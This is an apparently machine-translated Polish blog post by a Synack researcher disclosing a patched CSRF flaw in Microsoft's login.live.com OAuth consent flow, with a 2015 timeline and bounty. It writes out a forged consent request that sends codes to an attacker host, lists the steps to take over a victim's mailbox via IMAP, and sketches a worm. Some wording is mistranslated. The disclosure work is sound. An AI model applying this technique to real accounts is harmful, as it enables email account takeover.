w Synack naprawdę cieszymy się dużymi lukami, czy to w Internecie, na urządzeniach mobilnych, hostach, czy nawet w całkowicie oburzających urządzeniach i systemach (satellite hacking anyone?). Ale zawsze utrzymujemy wspaniałe ustalenia, które my I SRT zrobiliśmy dla naszych klientów w tajemnicy. Więc chociaż nie będzie to post o wielkim vuln w kliencie Synack, obejmuje on dokładnie tego rodzaju rzeczy, które widzimy co tydzień, a czasem codziennie: lukę w systemie z milionami użytkowników, która prowadzi do całkowitego kompromisu bezpieczeństwa systemu.

ostatnio znalazłem lukę w Microsofcie Live.com system uwierzytelniania, który, jeśli masz konto w dowolnej usłudze Microsoft, prawdopodobnie miałby na Ciebie wpływ. Ten post opisuje pełne szczegóły luki teraz, gdy Microsoft załatał problem.

wprowadzenie

zrozumienie bezpieczeństwa komputera przez przeciętnego człowieka zawsze było dość ograniczone. Kiedyś, jeśli ktoś słyszał, że jesteś zaangażowany w bezpieczeństwo komputerowe, standardowym pytaniem byłoby „czy możesz włamać się do mojego hotmaila”, lub częściej”czy możesz włamać się do hotmaila mojego przyjaciela”. Przypuszczam, że z powrotem w dzień ludzie nadal używane Yahoo mail i Microsoft miał jeszcze nabyć Hotmail, ale to trochę za daleko wstecz! Nieuchronnie sugerujesz, że osoba po prostu odgadnie pytania dotyczące resetowania hasła danej osoby lub zainstalujesz Sub7. W rzeczywistości hakowanie hotmaila było zbyt trudne, nie wspominając o całkowicie nielegalnym.

świat bezpieczeństwa informacji bardzo się zmienił w ciągu ostatnich kilku lat i w przeciwieństwie do lat poprzednich, Microsoft teraz w pełni zachęca badaczy bezpieczeństwa do próby „zhakowania hotmaila”. Oczywiście Hotmail został zamieniony w Outlook.com, a w dzisiejszych czasach każdy chce wiedzieć, czy można zhakować ich Facebook, ale to nie ma sensu.

program Microsoft Online Services bounty został ostatnio zaktualizowany o” konto Microsoft ” jako cel, który jest w zasadzie systemami logowania hostowanymi w każdej z tych domen:
– login.windows.net
– login.microsoftonline.com
– login.live.com

na powyższej liście, login.live.com jest systemem uwierzytelniania, przez który przejdziesz, jeśli próbujesz uwierzytelnić się do Outlook.com oraz ogromną liczbę innych usług firmy Microsoft. Postanowiłem najpierw sprawdzić, czy mogę odkryć jakieś problemy. Zgodnie z oczekiwaniami, różne API używane do przetwarzania logowania wydawały się być dobrze utwardzone. Dodatkowe warstwy ochrony istniały w wielu miejscach; na przykład w niektórych miejscach hasła są szyfrowane kluczem publicznym przed transmisją, pomimo całej komunikacji za pośrednictwem HTTPS.

po kilku godzinach testowania odkryłem kilka drobnych problemów, które zgłosiłem, ale nic ważnego. Podczas testowania aplikacji internetowych często stwierdzam, że najczęstszy przepływ pracy jest również najbezpieczniejszy, więc zacząłem badać inne sposoby uwierzytelniania użytkownika live.com system. Prawie rok temu znalazłem kilka luk w zabezpieczeniach OAuth w Yammer, który był również celem nagród Microsoft Online Services, więc właśnie tam Szukałem live.com. tu zaczynają się ciekawe odkrycia!

Tło luki

zanim przejdę do wykrytej luki, konieczny jest szybki przegląd błędnego systemu bezpieczeństwa znanego jako OAuth:

Wikipedia mówi mi, że”OAuth zapewnia aplikacjom klienckim” Bezpieczny delegowany dostęp „do zasobów serwera w imieniu właściciela zasobów”. Wikipedia ma również kilka pochlebnych komentarzy na temat jej ewolucji i bezpieczeństwa, które warto przeczytać dla śmiechu. Realistycznie wszystko, co OAuth robi, to umożliwienie Użytkownikowi dostępu do części lub całości dostępu do swojego konta osobom trzecim. Zrobiłem rysunek MS Paint, aby to zilustrować, ponieważ nie mogłem znaleźć świetnego na Wikipedii.

jak widać na powyższym obrazku, masz serwer, który użytkownik upoważnił do udzielenia dostępu do swojego konta aplikacji klienckiej. Mechanizm, który obsługuje to za kulisami, może być zbudowany na kilka różnych sposobów, które są zdefiniowane w RFC OAuth. Jednym ze sposobów na zbudowanie go jest „niejawny” przepływ uwierzytelniania, który obejmuje serwer uwierzytelniania dający klucz dostępu bezpośrednio klientowi. Innym popularnym sposobem jest użycie procedury „authorization code”, w której serwer uwierzytelniania wydaje kod autoryzacyjny, który pobiera system kliencki, a następnie wymienia klucz dostępu za pomocą swojej tajnej wartości klienta. Microsoft ma dobry opis ich wykorzystania w jaki sposób wdrożyli te mechanizmy dla live.com proszę.:
https://msdn.microsoft.com/en-us/library/hh243647.aspx

grafika wykonana dla przepływu „authorization code” wygląda tak:

taki obraz jest świetny do zrozumienia procesu, ale dla mnie jako testera długopisu pokazuje również wiele możliwości i miejsc, w których rzeczy mogą pójść źle. Więc z tym jako tłem, na to, co zostało odkryte!

Co Może Pójść Nie Tak?

jak wspomniano w powyższej sekcji, istnieje wiele miejsc, w których coś może pójść nie tak. Jednym z podstawowych kroków w procedurze uwierzytelniania OAuth jest wybranie przez użytkownika dostępu do aplikacji. Zwykle odbywa się to za pomocą takiego podpowiedzi:

generalnie użytkownik będzie musiał zaakceptować ten monit tylko raz, ale dopóki go nie zaakceptuje, ta aplikacja nie będzie miała dostępu do swojego konta (czy przeciętny użytkownik pozwoli złej aplikacji Wesa uzyskać dostęp, to być może inne pytanie!).

myśląc jak atakujący, zdecydowanie byłoby wspaniale, gdybyśmy mogli zaakceptować prośbę w imieniu użytkownika. Niestety dla mnie nagłówek „X-Frame-Options” został ustawiony na „deny” (ustawienia X-frame-options również były poza zasięgiem tej nagrody). Więc kiedy clickjacking się skończył, postanowiłem lepiej zrozumieć, jak działa sama Prośba. Jeśli użytkownik kliknie „tak”, Poniższe żądanie zostanie wysłane na serwer (plus nudne nagłówki):

chociaż powyższa ścieżka URL zawiera wygenerowane tokeny, testy wykazały, że nie są one potrzebne do pomyślnego wykonania żądania. POST na poniższy adres URL będzie działał równie dobrze:

https://account.live.com/Consent/Update?ru=https://login.live.com/oauth20_authorize.srf%3flc%3d1033%26client_id%3d000000004C15E107% 26scope%3dwl.basic%26response_type%3dcode%26redirect_uri%3Dhttp:// exfiltrated.com& client_id = 000000004c15e107&com&scope= „w” / basic

plik cookie wysłany z żądaniem musiał zawierać prawidłowy token sesji w „IPT”. Ta wartość pliku cookie jest wypełniana przezhttps: / / login. live. com / oauth20_authorize. srf przed wyświetlaniem strony z prośbą o pozwolenie użytkownika. Dzieje się tak niezależnie od tego, czy użytkownik ostatecznie kliknie „tak”, chociaż jest to ustawione przez jakiś kod Javascript, więc jeśli atakujemy ten proces, musielibyśmy zmusić użytkownika do załadowania tej strony w pewnym momencie.

jeśli śledzisz dalej, mam nadzieję, że teraz pytasz: „OK, a co z samym żądaniem posta i tą wartością kanarka?”. Najpierw zbadałem wszystkie inne parametry i przepływy komunikacyjne, ponieważ widząc wartość oznaczoną „canary” wysyłaną z żądaniem POST prawie na pewno oznacza, że jest ona używana jako token do zapobiegania atakom CSRF. Celem testów bezpieczeństwa jest jednak sprawdzenie, czy założenia są rzeczywiście poprawne. Więc zmodyfikowałem żądanie POST i zmieniłem wartość kanarkową na „hacks_go_here”. Zamiast przekierowywać do błędu 500, serwer odesłał pozytywną odpowiedź!

CSRF do PoC

ponieważ Token CSRF był ostatnią rzeczą, którą próbowałem manipulować, wiedziałem na pewno, że powinno to spowodować poprawną lukę w CSRF. Podobnie jak w przypadku prawie każdego ataku CSRF, jedynym warunkiem było zalogowanie ofiary i posiadanie ważnego tokena sesji w pliku cookie. W przeciwieństwie do wielu innych luk w zabezpieczeniach internetowych, wpływ luki CSRF jest całkowicie zależny od dotkniętej funkcji API. Ten CSRF pozwala mi ominąć etap interakcji użytkownika systemu uwierzytelniania OAuth, ale PoC jest wart tysiąca słów, więc następnym krokiem było zbudowanie kodu, aby odpowiednio pokazać wpływ tej luki.

w normalnym procesie uwierzytelniania OAuth, po przyznaniu dostępu przez użytkownika, serwer powinien zwrócić użytkownikowi kod dostępu. Użytkownik przekazuje to do aplikacji klienckiej, która następnie może skorzystać z nadanych uprawnień. A live.com aplikacja kliencka może żądać szerokiego zakresu możliwych uprawnień. Rozważałem po prostu wyrzucenie kontaktów użytkownika lub coś w tym stylu, ale po co poświęcać się na celu hackowania hotmaila teraz? Uprawnienia, których potrzebował mój PoC, to:

wl.offline_access+wl.imap

Offline nie był potrzebny, ale wrzuciłem go, aby pokazać, że zostanie przyznany.

Po wybraniu niezbędnych uprawnień istnieją 4 kroki, aby uzyskać dostęp do konta e-mail użytkownika:

1) musimy złożyć wniosek o autoryzację dla naszej aplikacji klienckiej przy użyciu powyższych uprawnień. Serwer poprosi użytkownika o akceptację lub odmowę.
2) gdy użytkownik zaakceptuje naszą prośbę o te uprawnienia, serwer doda parametr” #access_token=<token> ” do przekierowania, które poinstruujemy, aby zrobił.
3) Ponieważ nasze skrypty po stronie serwera będą wymagały dostępu do tej wartości, musimy zrobić prostą stronę, aby pobrać token z pola adresu URL przeglądarki i przekazać go na nasz serwer.
4) W końcu potrzebujemy kilku skryptów po stronie serwera, aby wziąć ten token i użyć go do zalogowania się do IMAP. Microsoft ma nieco zawiły proces używania tokena OAuth do logowania bezpośrednio przez IMAP. Istnieje kilka przykładowych bibliotek do tego, a cały proces jest opisany na tej stronie:
https://msdn.microsoft.com/en-us/library/dn440163.aspx

ten obieg pracy będzie działał dobrze, zakładając, że użytkownik zdecyduje się udzielić nam zgody. Teraz wystarczy zmodyfikować przepływ pracy, aby zamiast tego uwzględnić CSRF. Jak wspomniano wcześniej, live.com serwer uwierzytelniania będzie oczekiwał tokenu sesji w pliku cookie IPT. Możemy zapewnić, że jest wypełniony przez pierwsze wysłanie użytkownika do strony validhttps: / / login. live. com / oauth20_authorize. srf. Natychmiast po tym możemy wykonać żądanie CSRF, które wykorzysta nowo wypełnioną wartość pliku cookie. Może to teraz zastąpić Krok 1 i zmusić serwer do natychmiastowego przejścia do kroku 2.

Demo I Impact

Microsoft naprawił ten problem, ale oto krótki film pokazujący go w akcji.

jak widać na filmie, wszystko, co jest naprawdę konieczne, to skłonić ofiarę do odwiedzenia złośliwej strony internetowej. Demo nie zostało zaprojektowane tak, aby było podstępne i działało w tle strony internetowej lub jako część złośliwej reklamy banerowej, ale z pewnością mogło zostać wykonane w ten sposób.

użycie tego jako ataku celowego zdecydowanie ma duży wpływ, ale jest to również idealny typ podatności, aby zamienić się w robaka. Dzięki IMAP i dostępowi do książki kontaktów robak może łatwo wysłać e-mail do wszystkich kontaktów użytkownika (lub przynajmniej tych, którzy używają hotmaila, Outlook.com, itp), z czymś kuszącym,” ILOVEYOU ” stylu wirusa, i rozprzestrzeniać się na każdego użytkownika, który kliknie link.

końcowe przemyślenia i harmonogram

polowanie na tę lukę i stworzenie działającego PoC wymagało sporej ilości wysiłku, przekopując różne live.com API. Patrząc na to wszystko, to naprawdę jest po prostu klasyczna Luka CSRF. Jedyną rzeczą, która jest zaskakująca w tym jest to, że jest w krytycznym Systemie Uwierzytelniania, który ostatecznie może być użyty do przejęcia konta dowolnego użytkownika.

jako zewnętrzny tester nie mam pojęcia, jak długo ta luka mogła istnieć, ani czy ktoś kiedykolwiek próbował ją wykorzystać. Jednocześnie takie ustalenia zdecydowanie pokazują wartość pozwalania zewnętrznym testerom na zgłaszanie luk w Twojej firmie, zanim atakujący wykorzystają je przeciwko tobie. Microsoft znacznie wyprzedza większość firm, jeśli chodzi o bezpieczeństwo, a mimo to nadal są podatne na takie problemy. Doświadczenie Synack polega na tym, że luki są odkrywane nawet w pozornie dobrze zabezpieczonych systemach, gdy duża grupa zewnętrznych badaczy testuje ten system. Jest to zasadniczo założenie, na którym działa Synack i dlatego coraz więcej firm oferuje własne programy nagród (ja oczywiście polecam program Synack zamiast prowadzenia własnego!).

jak widać na poniższej osi czasu, Microsoft reagował na rozwiązanie tego problemu, co było świetne do zobaczenia.

oś czasu:
23 sierpnia 2015: wykryto lukę w zabezpieczeniach
25 sierpnia 2015: Luka zgłoszona do Microsoft
31 sierpnia 2015: Microsoft wydaje numer przypadku luki
15 września 2015: Microsoft wydaje poprawkę dla problemu, problemy $24,000 bounty (double Bounty promo)